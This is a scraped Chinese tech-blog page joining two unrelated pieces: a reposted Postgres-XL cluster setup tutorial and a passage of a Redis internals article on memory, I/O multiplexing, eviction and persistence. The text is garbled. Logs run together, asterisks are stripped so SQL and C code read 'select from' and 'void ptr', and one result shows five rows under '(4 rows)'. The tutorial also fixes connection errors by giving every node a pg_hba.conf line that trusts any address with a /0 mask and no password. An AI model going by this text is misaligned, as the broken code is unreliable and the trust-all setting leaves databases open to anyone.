accept connections2019-05-30 21:13:04.049 EDT [25145] LOG: cluster monitor started2019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.021 EDT [2730] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.057 EDT [2731] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.061 EDT [2730] LOG: database system is ready to accept connections2019-05-30 21:13:04.062 EDT [2738] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.Starting datanode master datanode2.2019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.079 EDT [25392] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.114 EDT [25392] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.114 EDT [25392] HINT: Future log output will appear in directory "pg_log".2019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.081 EDT [2985] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.117 EDT [2985] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.117 EDT [2985] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done. 启动 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf start all 关闭 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all 查看集群状态 [postgres@gtm ~]$ pgxc_ctl monitor all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlRunning: gtm masterRunning: coordinator master coord1Running: coordinator master coord2Running: datanode master datanode1Running: datanode master datanode2 配置集群信息 分别在数据节点、协调器节点上分别执行以下命令: 注:本节点只执行修改操作即可(alert node),其他节点执行创建命令(create node)。因为本节点已经包含本节点的信息。 create node coord1 with (type=coordinator,host=xl1, port=5432);create node coord2 with (type=coordinator,host=xl2, port=5432);alter node coord1 with (type=coordinator,host=xl1, port=5432);alter node coord2 with (type=coordinator,host=xl2, port=5432);create node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);create node datanode2 with (type=datanode, host=xl2,port=15432);alter node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);alter node datanode2 with (type=datanode, host=xl2,port=15432);select pgxc_pool_reload(); 分别登陆数据节点、协调器节点验证 postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633datanode2 | D | 15432 | xl2 | f | f | -905831925datanode1 | D | 15432 | xl1 | t | f | 888802358(4 rows) 测试 插入数据 在数据节点1,执行相关操作。 通过协调器端口登录PG [postgres@xl1 ~]$ psql -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= create database lei;CREATE DATABASEpostgres= \c lei;You are now connected to database "lei" as user "postgres".lei= create table test1(id int,name text);CREATE TABLElei= insert into test1(id,name) select generate_series(1,8),'测试';INSERT 0 8lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试3 | 测试4 | 测试7 | 测试(8 rows) 注:默认创建的表为分布式表,也就是每个数据节点值存储表的部分数据。关于表类型具体说明,下面有说明。 通过15432端口登录数据节点,查看数据 有5条数据 [postgres@xl1 ~]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试(5 rows) 登录到节点2,查看数据 有3条数据 [postgres@xl2 ~]$ psql -p15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------3 | 测试4 | 测试7 | 测试(3 rows) 两个节点的数据加起来整个8条,没有问题。 至此Postgre-XL集群搭建完成。 创建数据库、表时可能会出现以下错误: ERROR: Failed to get pooled connections 是因为pg_hba.conf配置不对,所有节点加上host all all 192.168.20.0/0 trust并重启集群即可。 ERROR: No Datanode defined in cluster 首先确认是否创建了数据节点,也就是create node相关的命令。如果创建了则执行select pgxc_pool_reload();使其生效即可。 集群管理与应用 表类型说明 REPLICATION表:各个datanode节点中,表的数据完全相同,也就是说,插入数据时,会分别在每个datanode节点插入相同数据。读数据时,只需要读任意一个datanode节点上的数据。 建表语法: CREATE TABLE repltab (col1 int, col2 int) DISTRIBUTE BY REPLICATION; DISTRIBUTE :会将插入的数据,按照拆分规则,分配到不同的datanode节点中存储,也就是sharding技术。每个datanode节点只保存了部分数据,通过coordinate节点可以查询完整的数据视图。 CREATE TABLE disttab(col1 int, col2 int, col3 text) DISTRIBUTE BY HASH(col1); 模拟数据插入 任意登录一个coordinate节点进行建表操作 [postgres@gtm ~]$ psql -h xl1 -p 5432 -U postgrespostgres= INSERT INTO disttab SELECT generate_series(1,100), generate_series(101, 200), 'foo';INSERT 0 100postgres= INSERT INTO repltab SELECT generate_series(1,100), generate_series(101, 200);INSERT 0 100 查看数据分布结果: DISTRIBUTE表分布结果 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) REPLICATION表分布结果 postgres= SELECT count() FROM repltab;count -------100(1 row) 查看另一个datanode2中repltab表结果 [postgres@datanode2 pgxl9.5]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT count() FROM repltab;count -------100(1 row) 结论:REPLICATION表中,datanode1,datanode2中表是全部数据,一模一样。而DISTRIBUTE表,数据散落近乎平均分配到了datanode1,datanode2节点中。 新增数据节点与数据重分布 在线新增节点、并重新分布数据。 新增datanode节点 在gtm集群管理节点上执行pgxc_ctl命令 [postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC 在服务器xl3上,新增一个master角色的datanode节点,名称是datanode3 端口号暂定5430,pool master暂定6669 ,指定好数据目录位置,从两个节点升级到3个节点,之后要写3个none none应该是datanodeSpecificExtraConfig或者datanodeSpecificExtraPgHba配置PGXC add datanode master datanode3 xl3 15432 6671 /home/postgres/pgxc/nodes/datanode/datanode3 none none none 等待新增完成后,查询集群节点状态: postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------datanode1 | D | 15432 | xl1 | t | f | 888802358datanode2 | D | 15432 | xl2 | f | f | -905831925datanode3 | D | 15432 | xl3 | f | f | -705831925coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633(4 rows) 节点新增完毕 数据重新分布 由于新增节点后无法自动完成数据重新分布,需要手动操作。 DISTRIBUTE表分布在了node1,node2节点上,如下: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) 新增一个节点后,将sharding表数据重新分配到三个节点上,将repl表复制到新节点 重分布sharding表postgres= ALTER TABLE disttab ADD NODE (datanode3);ALTER TABLE 复制数据到新节点postgres= ALTER TABLE repltab ADD NODE (datanode3);ALTER TABLE 查看新的数据分布: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+--------700122826 | 36-927910690 | 321148549230 | 32(3 rows) 登录datanode3(新增的时候,放在了xl3服务器上,端口15432)节点查看数据: [postgres@gtm ~]$ psql -h xl3 -p 15432 -U postgrespsql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= select count() from repltab;count -------100(1 row) 很明显,通过 ALTER TABLE tt ADD NODE (dn)命令,可以将DISTRIBUTE表数据重新分布到新节点,重分布过程中会中断所有事务。可以将REPLICATION表数据复制到新节点。 从datanode节点中回收数据 postgres= ALTER TABLE disttab DELETE NODE (datanode3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (datanode3);ALTER TABLE 删除数据节点 Postgresql-XL并没有检查将被删除的datanode节点是否有replicated/distributed表的数据,为了数据安全,在删除之前需要检查下被删除节点上的数据,有数据的话,要回收掉分配到其他节点,然后才能安全删除。删除数据节点分为四步骤: 1.查询要删除节点dn3的oid postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316385 | node1 | D | 5433 | datanode1 | f | t | 114854923016386 | node2 | D | 5433 | datanode2 | f | f | -92791069016397 | dn3 | D | 5430 | datanode1 | f | f | -700122826(5 rows) 2.查询dn3对应的oid中是否有数据 testdb= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+-------------------16388 | H | 1 | 1 | 4096 | 16397 16385 1638616394 | R | 0 | 0 | 0 | 16397 16385 16386(2 rows) 3.有数据的先回收数据 postgres= ALTER TABLE disttab DELETE NODE (dn3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (dn3);ALTER TABLEpostgres= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+----------(0 rows) 4.安全删除dn3 PGXC$ remove datanode master dn3 clean 故障节点FAILOVER 1.查看当前集群状态 [postgres@gtm ~]$ psql -h xl1 -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11739 | coord1 | C | 5432 | xl1 | f | f | 188569664316384 | coord2 | C | 5432 | xl2 | f | f | -119710263316387 | datanode2 | D | 15432 | xl2 | f | f | -90583192516388 | datanode1 | D | 15432 | xl1 | t | t | 888802358(4 rows) 2.模拟datanode1节点故障 直接关闭即可 PGXC stop -m immediate datanode master datanode1Stopping datanode master datanode1.Done. 3.测试查询 只要查询涉及到datanode1上的数据,那么该查询就会报错 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;WARNING: failed to receive file descriptors for connectionsERROR: Failed to get pooled connectionsHINT: This may happen because one or more nodes are currently unreachable, either because of node or network failure.Its also possible that the target node may have hit the connection limit or the pooler is configured with low connections.Please check if all nodes are running fine and also review max_connections and max_pool_size configuration parameterspostgres= SELECT xc_node_id, FROM disttab WHERE col1 = 3;xc_node_id | col1 | col2 | col3------------+------+------+-------905831925 | 3 | 103 | foo(1 row) 测试发现,查询范围如果涉及到故障的node1节点,会报错,而查询的数据范围不在node1上的话,仍然可以查询。 4.手动切换 要想切换,必须要提前配置slave节点。 PGXC$ failover datanode node1 切换完成后,查询集群 postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316386 | node2 | D | 15432 | datanode2 | f | f | -92791069016385 | node1 | D | 15433 | datanode2 | f | t | 1148549230(4 rows) 发现datanode1节点的ip和端口都已经替换为配置的slave了。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qianglei6077/article/details/94379331。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-30 11:09:03
94
转载
转载文章
... kill the server in a hard way using the SHUTDOWN NOSAVE command. 遇到这种情况,只能通过 shutdown nosave 命令来强行终止 redis。 shutdown nosave 和 shutdown 的区别在于 shutdown nosave 不会进行持久化操作,意味着发生在上一次快照后的数据库修改都会丢失。 4、Redis 为什么这么快? 4.1 Redis到底有多快? 根据官方的数据,Redis 的 QPS 可以达到 10 万左右(每秒请求数)。 4.2 Redis为什么这么快? 总结:1)纯内存结构、2)单线程、3)多路复用 4.2.1 内存 KV 结构的内存数据库,时间复杂度 O(1)。 第二个,要实现这么高的并发性能,是不是要创建非常多的线程? 恰恰相反,Redis 是单线程的。 4.2.2 单线程 单线程有什么好处呢? 1、没有创建线程、销毁线程带来的消耗 2、避免了上线文切换导致的 CPU 消耗 3、避免了线程之间带来的竞争问题,例如加锁释放锁死锁等等 4.2.3 异步非阻塞 异步非阻塞 I/O,多路复用处理并发连接。 4.3 Redis为什么是单线程的? 不是白白浪费了 CPU 的资源吗? 因为单线程已经够用了,CPU 不是 redis 的瓶颈。Redis 的瓶颈最有可能是机器内存或者网络带宽。既然单线程容易实现,而且 CPU 不会成为瓶颈,那就顺理成章地采用单线程的方案了。 4.4 单线程为什么这么快? 因为 Redis 是基于内存的操作,我们先从内存开始说起。 4.4.1 虚拟存储器(虚拟内存 Vitual Memory) 名词解释:主存:内存;辅存:磁盘(硬盘) 计算机主存(内存)可看作一个由 M 个连续的字节大小的单元组成的数组,每个字节有一个唯一的地址,这个地址叫做物理地址(PA)。早期的计算机中,如果 CPU 需要内存,使用物理寻址,直接访问主存储器。 这种方式有几个弊端: 1、在多用户多任务操作系统中,所有的进程共享主存,如果每个进程都独占一块物理地址空间,主存很快就会被用完。我们希望在不同的时刻,不同的进程可以共用同一块物理地址空间。 2、如果所有进程都是直接访问物理内存,那么一个进程就可以修改其他进程的内存数据,导致物理地址空间被破坏,程序运行就会出现异常。 为了解决这些问题,我们就想了一个办法,在 CPU 和主存之间增加一个中间层。CPU 不再使用物理地址访问,而是访问一个虚拟地址,由这个中间层把地址转换成物理地址,最终获得数据。这个中间层就叫做虚拟存储器(Virtual Memory)。 具体的操作如下所示: 在每一个进程开始创建的时候,都会分配一段虚拟地址,然后通过虚拟地址和物理地址的映射来获取真实数据,这样进程就不会直接接触到物理地址,甚至不知道自己调用的哪块物理地址的数据。 目前,大多数操作系统都使用了虚拟内存,如 Windows 系统的虚拟内存、Linux 系统的交换空间等等。Windows 的虚拟内存(pagefile.sys)是磁盘空间的一部分。 在 32 位的系统上,虚拟地址空间大小是 2^32bit=4G。在 64 位系统上,最大虚拟地址空间大小是多少? 是不是 2^64bit=10241014TB=1024PB=16EB?实际上没有用到 64 位,因为用不到这么大的空间,而且会造成很大的系统开销。Linux 一般用低 48 位来表示虚拟地址空间,也就是 2^48bit=256T。 cat /proc/cpuinfo address sizes : 40 bits physical, 48 bits virtual 实际的物理内存可能远远小于虚拟内存的大小。 总结:引入虚拟内存,可以提供更大的地址空间,并且地址空间是连续的,使得程序编写、链接更加简单。并且可以对物理内存进行隔离,不同的进程操作互不影响。还可以通过把同一块物理内存映射到不同的虚拟地址空间实现内存共享。 4.4.2 用户空间和内核空间 为了避免用户进程直接操作内核,保证内核安全,操作系统将虚拟内存划分为两部分,一部分是内核空间(Kernel-space)/ˈkɜːnl /,一部分是用户空间(User-space)。 内核是操作系统的核心,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的权限。 内核空间中存放的是内核代码和数据,而进程的用户空间中存放的是用户程序的代码和数据。不管是内核空间还是用户空间,它们都处于虚拟空间中,都是对物理地址的映射。 在 Linux 系统中, 内核进程和用户进程所占的虚拟内存比例是 1:3。 当进程运行在内核空间时就处于内核态,而进程运行在用户空间时则处于用户态。 进程在内核空间以执行任意命令,调用系统的一切资源;在用户空间只能执行简单的运算,不能直接调用系统资源,必须通过系统接口(又称 system call),才能向内核发出指令。 top 命令: us 代表 CPU 消耗在 User space 的时间百分比; sy 代表 CPU 消耗在 Kernel space 的时间百分比。 4.4.3 进程切换(上下文切换) 多任务操作系统是怎么实现运行远大于 CPU 数量的任务个数的? 当然,这些任务实际上并不是真的在同时运行,而是因为系统通过时间片分片算法,在很短的时间内,将 CPU 轮流分配给它们,造成多任务同时运行的错觉。 为了控制进程的执行,内核必须有能力挂起正在 CPU 上运行的进程,并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。 什么叫上下文? 在每个任务运行前,CPU 都需要知道任务从哪里加载、又从哪里开始运行,也就是说,需要系统事先帮它设置好 CPU 寄存器和程序计数器(ProgramCounter),这个叫做 CPU 的上下文。 而这些保存下来的上下文,会存储在系统内核中,并在任务重新调度执行时再次加载进来。这样就能保证任务原来的状态不受影响,让任务看起来还是连续运行。 在切换上下文的时候,需要完成一系列的工作,这是一个很消耗资源的操作。 4.4.4 进程的阻塞 正在运行的进程由于提出系统服务请求(如 I/O 操作),但因为某种原因未得到操作系统的立即响应,该进程只能把自己变成阻塞状态,等待相应的事件出现后才被唤醒。 进程在阻塞状态不占用 CPU 资源。 4.4.5 文件描述符 FD Linux 系统将所有设备都当作文件来处理,而 Linux 用文件描述符来标识每个文件对象。 文件描述符(File Descriptor)是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行 I/O 操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。 Linux 系统里面有三个标准文件描述符。 0:标准输入(键盘); 1:标准输出(显示器); 2:标准错误输出(显示器)。 4.4.6 传统 I/O 数据拷贝 以读操作为例: 当应用程序执行 read 系统调用读取文件描述符(FD)的时候,如果这块数据已经存在于用户进程的页内存中,就直接从内存中读取数据。如果数据不存在,则先将数据从磁盘加载数据到内核缓冲区中,再从内核缓冲区拷贝到用户进程的页内存中。(两次拷贝,两次 user 和 kernel 的上下文切换)。 I/O 的阻塞到底阻塞在哪里? 4.4.7 Blocking I/O 当使用 read 或 write 对某个文件描述符进行过读写时,如果当前 FD 不可读,系统就不会对其他的操作做出响应。从设备复制数据到内核缓冲区是阻塞的,从内核缓冲区拷贝到用户空间,也是阻塞的,直到 copy complete,内核返回结果,用户进程才解除 block 的状态。 为了解决阻塞的问题,我们有几个思路。 1、在服务端创建多个线程或者使用线程池,但是在高并发的情况下需要的线程会很多,系统无法承受,而且创建和释放线程都需要消耗资源。 2、由请求方定期轮询,在数据准备完毕后再从内核缓存缓冲区复制数据到用户空间 (非阻塞式 I/O),这种方式会存在一定的延迟。 能不能用一个线程处理多个客户端请求? 4.4.8 I/O 多路复用(I/O Multiplexing) I/O 指的是网络 I/O。 多路指的是多个 TCP 连接(Socket 或 Channel)。 复用指的是复用一个或多个线程。它的基本原理就是不再由应用程序自己监视连接,而是由内核替应用程序监视文件描述符。 客户端在操作的时候,会产生具有不同事件类型的 socket。在服务端,I/O 多路复用程序(I/O Multiplexing Module)会把消息放入队列中,然后通过文件事件分派器(File event Dispatcher),转发到不同的事件处理器中。 多路复用有很多的实现,以 select 为例,当用户进程调用了多路复用器,进程会被阻塞。内核会监视多路复用器负责的所有 socket,当任何一个 socket 的数据准备好了,多路复用器就会返回。这时候用户进程再调用 read 操作,把数据从内核缓冲区拷贝到用户空间。 所以,I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符,而这些文件描述符(套接字描述符)其中的任意一个进入读就绪(readable)状态,select() 函数就可以返回。 Redis 的多路复用, 提供了 select, epoll, evport, kqueue 几种选择,在编译的时 候来选择一种。 evport 是 Solaris 系统内核提供支持的; epoll 是 LINUX 系统内核提供支持的; kqueue 是 Mac 系统提供支持的; select 是 POSIX 提供的,一般的操作系统都有支撑(保底方案); 源码 ae_epoll.c、ae_select.c、ae_kqueue.c、ae_evport.c 5、内存回收 Reids 所有的数据都是存储在内存中的,在某些情况下需要对占用的内存空间进行回 收。内存回收主要分为两类,一类是 key 过期,一类是内存使用达到上限(max_memory) 触发内存淘汰。 5.1 过期策略 要实现 key 过期,我们有几种思路。 5.1.1 定时过期(主动淘汰) 每个设置过期时间的 key 都需要创建一个定时器,到过期时间就会立即清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的 CPU 资源去处理过期的 数据,从而影响缓存的响应时间和吞吐量。 5.1.2 惰性过期(被动淘汰) 只有当访问一个 key 时,才会判断该 key 是否已过期,过期则清除。该策略可以最大化地节省 CPU 资源,却对内存非常不友好。极端情况可能出现大量的过期 key 没有再次被访问,从而不会被清除,占用大量内存。 例如 String,在 getCommand 里面会调用 expireIfNeeded server.c expireIfNeeded(redisDb db, robj key) 第二种情况,每次写入 key 时,发现内存不够,调用 activeExpireCycle 释放一部分内存。 expire.c activeExpireCycle(int type) 5.1.3 定期过期 源码:server.h typedef struct redisDb { dict dict; / 所有的键值对 /dict expires; / 设置了过期时间的键值对 /dict blocking_keys; dict ready_keys; dict watched_keys; int id;long long avg_ttl;list defrag_later; } redisDb; 每隔一定的时间,会扫描一定数量的数据库的 expires 字典中一定数量的 key,并清除其中已过期的 key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得 CPU 和内存资源达到最优的平衡效果。 Redis 中同时使用了惰性过期和定期过期两种过期策略。 5.2 淘汰策略 Redis 的内存淘汰策略,是指当内存使用达到最大内存极限时,需要使用淘汰算法来决定清理掉哪些数据,以保证新数据的存入。 5.2.1 最大内存设置 redis.conf 参数配置: maxmemory <bytes> 如果不设置 maxmemory 或者设置为 0,64 位系统不限制内存,32 位系统最多使用 3GB 内存。 动态修改: redis> config set maxmemory 2GB 到达最大内存以后怎么办? 5.2.2 淘汰策略 https://redis.io/topics/lru-cache redis.conf maxmemory-policy noeviction 先从算法来看: LRU,Least Recently Used:最近最少使用。判断最近被使用的时间,目前最远的数据优先被淘汰。 LFU,Least Frequently Used,最不常用,4.0 版本新增。 random,随机删除。 如果没有符合前提条件的 key 被淘汰,那么 volatile-lru、volatile-random、 volatile-ttl 相当于 noeviction(不做内存回收)。 动态修改淘汰策略: redis> config set maxmemory-policy volatile-lru 建议使用 volatile-lru,在保证正常服务的情况下,优先删除最近最少使用的 key。 5.2.3 LRU 淘汰原理 问题:如果基于传统 LRU 算法实现 Redis LRU 会有什么问题? 需要额外的数据结构存储,消耗内存。 Redis LRU 对传统的 LRU 算法进行了改良,通过随机采样来调整算法的精度。如果淘汰策略是 LRU,则根据配置的采样值 maxmemory_samples(默认是 5 个), 随机从数据库中选择 m 个 key, 淘汰其中热度最低的 key 对应的缓存数据。所以采样参数m配置的数值越大, 就越能精确的查找到待淘汰的缓存数据,但是也消耗更多的CPU计算,执行效率降低。 问题:如何找出热度最低的数据? Redis 中所有对象结构都有一个 lru 字段, 且使用了 unsigned 的低 24 位,这个字段用来记录对象的热度。对象被创建时会记录 lru 值。在被访问的时候也会更新 lru 的值。 但是不是获取系统当前的时间戳,而是设置为全局变量 server.lruclock 的值。 源码:server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; server.lruclock 的值怎么来的? Redis 中有个定时处理的函数 serverCron,默认每 100 毫秒调用函数 updateCachedTime 更新一次全局变量的 server.lruclock 的值,它记录的是当前 unix 时间戳。 源码:server.c void updateCachedTime(void) { time_t unixtime = time(NULL); atomicSet(server.unixtime,unixtime); server.mstime = mstime();struct tm tm; localtime_r(&server.unixtime,&tm);server.daylight_active = tm.tm_isdst; } 问题:为什么不获取精确的时间而是放在全局变量中?不会有延迟的问题吗? 这样函数 lookupKey 中更新数据的 lru 热度值时,就不用每次调用系统函数 time,可以提高执行效率。 OK,当对象里面已经有了 LRU 字段的值,就可以评估对象的热度了。 函数 estimateObjectIdleTime 评估指定对象的 lru 热度,思想就是对象的 lru 值和全局的 server.lruclock 的差值越大(越久没有得到更新),该对象热度越低。 源码 evict.c / Given an object returns the min number of milliseconds the object was never requested, using an approximated LRU algorithm. /unsigned long long estimateObjectIdleTime(robj o) {unsigned long long lruclock = LRU_CLOCK(); if (lruclock >= o->lru) {return (lruclock - o->lru) LRU_CLOCK_RESOLUTION; } else {return (lruclock + (LRU_CLOCK_MAX - o->lru)) LRU_CLOCK_RESOLUTION;} } server.lruclock 只有 24 位,按秒为单位来表示才能存储 194 天。当超过 24bit 能表 示的最大时间的时候,它会从头开始计算。 server.h define LRU_CLOCK_MAX ((1<<LRU_BITS)-1) / Max value of obj->lru / 在这种情况下,可能会出现对象的 lru 大于 server.lruclock 的情况,如果这种情况 出现那么就两个相加而不是相减来求最久的 key。 为什么不用常规的哈希表+双向链表的方式实现?需要额外的数据结构,消耗资源。而 Redis LRU 算法在 sample 为 10 的情况下,已经能接近传统 LRU 算法了。 问题:除了消耗资源之外,传统 LRU 还有什么问题? 如图,假设 A 在 10 秒内被访问了 5 次,而 B 在 10 秒内被访问了 3 次。因为 B 最后一次被访问的时间比 A 要晚,在同等的情况下,A 反而先被回收。 问题:要实现基于访问频率的淘汰机制,怎么做? 5.2.4 LFU server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; 当这 24 bits 用作 LFU 时,其被分为两部分: 高 16 位用来记录访问时间(单位为分钟,ldt,last decrement time) 低 8 位用来记录访问频率,简称 counter(logc,logistic counter) counter 是用基于概率的对数计数器实现的,8 位可以表示百万次的访问频率。 对象被读写的时候,lfu 的值会被更新。 db.c——lookupKey void updateLFU(robj val) {unsigned long counter = LFUDecrAndReturn(val); counter = LFULogIncr(counter);val->lru = (LFUGetTimeInMinutes()<<8) | counter;} 增长的速率由,lfu-log-factor 越大,counter 增长的越慢 redis.conf 配置文件。 lfu-log-factor 10 如果计数器只会递增不会递减,也不能体现对象的热度。没有被访问的时候,计数器怎么递减呢? 减少的值由衰减因子 lfu-decay-time(分钟)来控制,如果值是 1 的话,N 分钟没有访问就要减少 N。 redis.conf 配置文件 lfu-decay-time 1 6、持久化机制 https://redis.io/topics/persistence Redis 速度快,很大一部分原因是因为它所有的数据都存储在内存中。如果断电或者宕机,都会导致内存中的数据丢失。为了实现重启后数据不丢失,Redis 提供了两种持久化的方案,一种是 RDB 快照(Redis DataBase),一种是 AOF(Append Only File)。 6.1 RDB RDB 是 Redis 默认的持久化方案。当满足一定条件的时候,会把当前内存中的数据写入磁盘,生成一个快照文件 dump.rdb。Redis 重启会通过加载 dump.rdb 文件恢复数据。 什么时候写入 rdb 文件? 6.1.1 RDB 触发 1、自动触发 a)配置规则触发。 redis.conf, SNAPSHOTTING,其中定义了触发把数据保存到磁盘的触发频率。 如果不需要 RDB 方案,注释 save 或者配置成空字符串""。 save 900 1 900 秒内至少有一个 key 被修改(包括添加) save 